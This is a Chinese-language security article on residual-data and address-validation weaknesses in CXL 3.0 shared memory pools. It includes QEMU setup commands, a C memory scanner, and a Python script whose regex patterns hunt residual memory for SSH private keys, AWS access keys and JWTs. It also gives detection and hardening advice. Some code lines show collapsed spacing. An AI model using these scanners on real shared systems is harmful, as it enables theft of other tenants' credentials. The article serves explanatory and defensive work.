摘要

Compute Express Link(CXL)3.0 通过 Type 3 内存扩展设备实现了多主机共享内存池,为云原生架构提供了前所未有的内存弹性。然而,共享意味着信任边界的扩张:当多个虚拟机(VM)通过 CXL 交换机共享同一物理内存池时,内存页的生命周期管理与安全隔离完全依赖于主机侧的内存分配器和 CXL 设备固件。如果设备在页释放后未执行可靠的清零或加密边界切换,攻击者便可在合法 VM 释放共享页后,立即从另一台主机申请分配同一物理页,读取前一个租户的残留数据——包括加密密钥、凭证和模型参数。更严重的是,部分 CXL 设备固件未严格验证主机发来的 HDM 地址范围,允许跨域访问。

CXL内存池

CXL协议与Type 3设备

CXL 构建在 PCIe 物理层之上,提供三种协议:CXL.io(用于配置和控制)、CXL.cache(用于缓存一致性)和 CXL.mem(用于内存访问)。Type 3 设备(如内存扩展卡)仅实现 CXL.io 和 CXL.mem,不参与缓存一致性,主要提供大容量内存扩展。

在 CXL 3.0 中,多主机共享内存池成为可能。通过 CXL 交换机和 Fabric Manager,多个主机(或虚拟机管理程序)可以访问同一块 Type 3 设备上的内存区域。这种架构允许动态分配和释放内存资源,提高数据中心的利用率。

多主机共享内存池

共享内存池打破了传统“一个主机一块内存”的边界。CXL 设备上的物理内存被划分为多个主机物理地址空间(Host Physical Address Space, HPAS),每个主机通过 HDM(Host-managed Device Memory)解码器将其分配给自己的地址空间。

安全性挑战在于:

  • 内存释放后的数据残留:当一台主机释放一块 CXL 内存页后,该页可能立即被另一台主机分配。如果设备没有在分配前进行物理擦除或加密隔离,前一租户的数据可以被下一租户读取。
  • 地址范围验证:CXL 设备需要验证主机发起的 CXL.mem 事务是否落在分配给该主机的 HDM 范围内。如果验证缺失或可被绕过,攻击者主机可以访问其他主机的内存区域。
  • 加密密钥管理:CXL 3.0 引入了 IDE(Integrity and Data Encryption)和 SPDM(Security Protocol and Data Model)来提供链路加密和设备认证。然而,许多现有设备仅支持可选的 SPDM 认证,而 IDE 的实施更少,导致数据在链路上以明文形式传输。

加密边界

SPDM 用于在主机与 CXL 设备之间建立信任,提供设备认证和测量。但 SPDM 会话通常仅覆盖控制平面,对于数据平面(CXL.mem)的加密则依赖 IDE。IDE 使用关联密钥对 CXL.mem 事务进行加密和完整性保护,确保数据在传输过程中不被窃听或篡改。然而,IDE 要求主机和设备的支持,且配置复杂。在虚拟化场景下,每个 VM 的密钥管理更加困难。许多早期 CXL 设备为了简化实现,默认关闭 IDE,或者仅在部分区域启用,导致数据在 CXL 链路上以明文传输,为攻击者提供了窃听和注入的机会。

Type 3 设备信任裂缝

HDM 地址解码与主机标识

CXL 设备通过 HDM 解码器将主机物理地址(HPA)映射到设备本地地址(DLA)。每个 HDM 解码器与一个主机绑定,并定义了该主机可访问的地址范围。当设备收到 CXL.mem 事务时,它会根据事务中的地址查找匹配的 HDM 解码器,并验证发起事务的主机是否被授权访问该范围。

问题在于,HDM 解码器的配置通常在设备初始化时由 Fabric Manager 完成,但在运行时,攻击者主机(例如通过虚拟化环境中的恶意 VMM)可能通过 CXL.io 发送恶意配置命令,修改 HDM 解码器的范围或绑定关系。如果设备未对配置请求进行严格认证和授权,攻击者可以将自己的 HDM 解码器范围扩展到其他主机的内存区域,实现跨域访问。

内存分配与释放的不完全清零

在云原生环境中,VM 的内存页通过 VMM 分配给 CXL 设备。当 VM 释放内存页时,VMM 会通知 CXL 设备该页不再使用,设备将其标记为空闲。然而,设备并不会主动清零这些页——清零操作通常由软件(如 VMM 或 Guest)在分配新内存时执行,但这取决于具体实现。如果 VMM 在分配 CXL 内存时未执行 memset 或调用安全擦除函数,攻击者 VM 分配到的内存页中可能包含前一个租户的数据。

这种数据残留问题在传统 DRAM 中同样存在,但 CXL 共享池放大了影响:不同租户的 VM 直接共享物理介质,攻击者可以主动请求分配大量内存,扫描其中是否包含敏感信息(如 SSH 私钥、数据库缓冲区、TLS 会话密钥)。由于 CXL 内存池通常容量巨大(数百 GB 到数 TB),攻击者可以在多次分配-释放循环中高效地收集数据。

地址范围验证缺陷与跨域访问

即使 HDM 解码器配置正确,某些 CXL 设备在处理 CXL.mem 事务时,仍可能未严格验证事务的地址是否落在分配给请求主机的范围内。攻击者可以构造一个带有越界地址的 CXL.mem 读请求,如果设备仅检查地址是否属于某个 HDM 解码器,而未核对主机 ID 是否匹配,那么该请求可能被错误授权,返回其他主机的数据。这种缺陷通常源于固件实现的疏忽,例如使用简单的地址匹配而不是完整的主机 ID 和范围检查。

跨VM数据窃取攻击链

攻击者模型与前提

  • 攻击者是一个合法的租户,在云平台中运行一个或多个 VM。
  • 云平台使用 CXL Type 3 设备提供可组合内存池,多个租户共享同一物理设备。
  • CXL 设备未启用 IDE 或未实现彻底的内存清零。
  • 攻击者能够通过正常的云 API 请求分配和释放 CXL 内存页。

从共享池建立到数据残留读取

  1. 侦察:攻击者首先通过分配和释放大量内存页,记录分配延迟和物理地址范围,识别出 CXL 内存池的特征(例如地址范围与本地 DRAM 不同)。
  2. 数据采集:攻击者反复分配 CXL 内存页,扫描其中的内容,查找高熵数据(可能是密钥)或已知模式(如 JSON 头、PEM 证书)。
  3. 提取敏感数据:一旦发现有价值的数据,攻击者将其保存,并尝试从中提取凭据或加密密钥。
  4. 横向移动:利用窃取到的凭据,攻击者可以进一步渗透其他租户的 VM 或云服务。

绕过 SPDM 或利用 IDE 缺位

如果云平台启用了 SPDM 认证,攻击者可能尝试在 CXL.io 控制路径中伪造 SPDM 响应,使设备误认为攻击者主机是可信的。这需要攻击者能够访问 CXL.io 通道(例如通过 VMM 漏洞)。更实际的情况是,SPDM 仅在设备发现阶段使用,而数据平面的 IDE 被关闭。攻击者可以通过被动监听 CXL 链路上的流量,窃取其他租户的内存数据——即使数据在链路上传输,如果没有 IDE 加密,内容是明文。

基于 QEMU CXL 与 mmap 的残留数据窃取

环境搭建

使用 QEMU 7.0+ 支持 CXL 模拟。以下命令启动一个带有 CXL Type 3 设备的 VM,并将设备内存映射到主机内存文件。

# 创建 CXL 内存后端文件
dd if=/dev/zero of=/tmp/cxl-mem.bin bs=1G count=4
# 启动 QEMU,添加 CXL 设备
qemu-system-x86_64 \
  -machine q35,accel=kvm \
  -m 4G \
  -object memory-backend-file,id=mem0,size=4G,mem-path=/tmp/cxl-mem.bin,share=on \
  -device pxb-cxl,bus_nr=12,id=cxl.1 \
  -device cxl-rp,id=rp0,bus=cxl.1,chassis=0,slot=0 \
  -device cxl-type3,bus=rp0,volatile-memdev=mem0,id=cxl-mem0 \
  -M cxl=on \
  ...

启动后,在 Guest 内通过 ndctl 和 cxl 工具识别并配置 CXL 内存。

模拟跨 VM 读取代码

以下 C 代码演示了如何在 Linux 中将 CXL 内存映射为用户空间,并扫描其中的残留数据。

// cxl_residual_scan.c — 扫描 CXL 内存中的残留数据
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/mman.h>
#include<unistd.h>
#include<string.h>

#define CXL_DEVICE_PATH "/dev/dax0.0"// CXL 设备 DAX 节点
#define SCAN_SIZE (1UL << 30)          // 扫描 1GB

intmain(){
int fd = open(CXL_DEVICE_PATH, O_RDWR);
if (fd < 0) {
        perror("open");
return1;
    }

void *addr = mmap(NULL, SCAN_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
        perror("mmap");
        close(fd);
return1;
    }

printf("[*] 开始扫描 CXL 内存残留数据...\n");
unsignedchar *p = (unsignedchar *)addr;
for (size_t i = 0; i < SCAN_SIZE; i += 4096) {
// 检查页面是否包含高熵数据(简单启发式:前64字节的非零比例)
int nonzero = 0;
for (int j = 0; j < 64; j++) {
if (p[i + j] != 0) nonzero++;
        }
if (nonzero > 40) {
printf("[+] 页面 0x%lx 可能有数据: ", i);
for (int j = 0; j < 32; j++) printf("%02x ", p[i + j]);
printf("\n");
        }
    }

    munmap(addr, SCAN_SIZE);
    close(fd);
return0;
}

说明:此程序打开 CXL 设备的 DAX 节点,映射 1GB 内存,扫描每个页面的前 64 字节,检测非零字节比例较高的页,输出可能的残留数据。攻击者可以进一步分析这些页面,提取敏感信息。

利用 CXL 内存残留提取敏感信息的脚本

#!/usr/bin/env python3
# cxl_residual_extract.py — 从 CXL 内存残留中提取 SSH 私钥等敏感数据
import mmap
import re

CXL_DEVICE = "/dev/dax0.0"
SCAN_SIZE = 2 * 1024 * 1024 * 1024# 2GB

patterns = {
"SSH_PRIVATE_KEY": rb"-----BEGIN (?:RSA|OPENSSH|EC) PRIVATE KEY-----",
"PEM_CERT": rb"-----BEGIN CERTIFICATE-----",
"AWS_ACCESS_KEY": rb"AKIA[0-9A-Z]{16}",
"JWT_TOKEN": rb"eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}",
}

defscan_device(path, size):
with open(path, "rb") as f:
        mm = mmap.mmap(f.fileno(), size, access=mmap.ACCESS_READ)
for name, pattern in patterns.items():
            print(f"[*] 搜索 {name} ...")
for match in re.finditer(pattern, mm):
                start = max(0, match.start() - 64)
                end = min(size, match.end() + 64)
                print(f"[+] 发现 {name} 在偏移 0x{match.start():x}")
                print(mm[start:end].decode(errors='ignore')[:200])
        mm.close()

if __name__ == "__main__":
    scan_device(CXL_DEVICE, SCAN_SIZE)

说明:该脚本在 CXL 设备内存中搜索常见的敏感数据模式,例如私钥文件头、云凭证和 JWT Token。如果前一个租户未安全清除内存,攻击者可以提取这些数据。

检测与防御

主机侧检测

  • 内存分配延迟异常:如果 VM 分配 CXL 内存时出现明显的延迟(由于安全擦除引起),可能表明平台已启用清零。攻击者可以通过测量分配时间来判断。
  • 数据残留监控:云平台可以在内存页被释放时执行抽样检查,验证页是否被清零。如果发现非零数据,说明清零机制失效。
  • 审计日志:记录所有 CXL 内存的分配和释放操作,检测异常的大规模分配行为。

硬件与协议加固

  • 强制安全擦除:CXL 设备应在内存页被释放后自动执行物理擦除(如使用 blkdiscard 或设备内建的安全清理命令),确保数据不可恢复。
  • 启用 IDE:对于所有 CXL.mem 数据流量,应强制启用 IDE,防止链路窃听。云平台应管理每个租户的加密密钥,并在 VM 迁移时重新协商。
  • 加强 HDM 验证:CXL 设备固件必须严格验证每个 CXL.mem 事务的主机 ID 和地址范围,拒绝任何越界访问。
  • SPDM 会话绑定:将 SPDM 会话与主机 ID 和内存区域绑定,防止未授权主机通过 CXL.io 修改 HDM 配置。

运维策略

  • 内存池分区隔离:将 CXL 内存池按租户或安全级别分区,确保敏感租户使用独立的内存区域,避免与其他租户混合。
  • 定期安全审计:对 CXL 设备固件和配置进行定期审计,确保 HDM 解码器和 IDE 策略未被篡改。
  • 租户教育:告知租户 CXL 内存池可能存在数据残留风险,建议对敏感数据进行应用层加密。

结语

CXL 内存池的可组合性为数据中心带来了前所未有的效率,但共享物理介质的安全代价往往被低估。当一块内存页在租户之间流转时,它承载的不仅是数据,更是信任的传递。如果设备不能保证释放后的彻底清零、链路不能保证加密传输、地址验证不能阻止越界访问,那么 CXL 内存池就会成为跨租户数据泄露的温床。安全的 CXL 部署必须建立在硬件强制的安全擦除、端到端加密和严格的主机标识验证之上。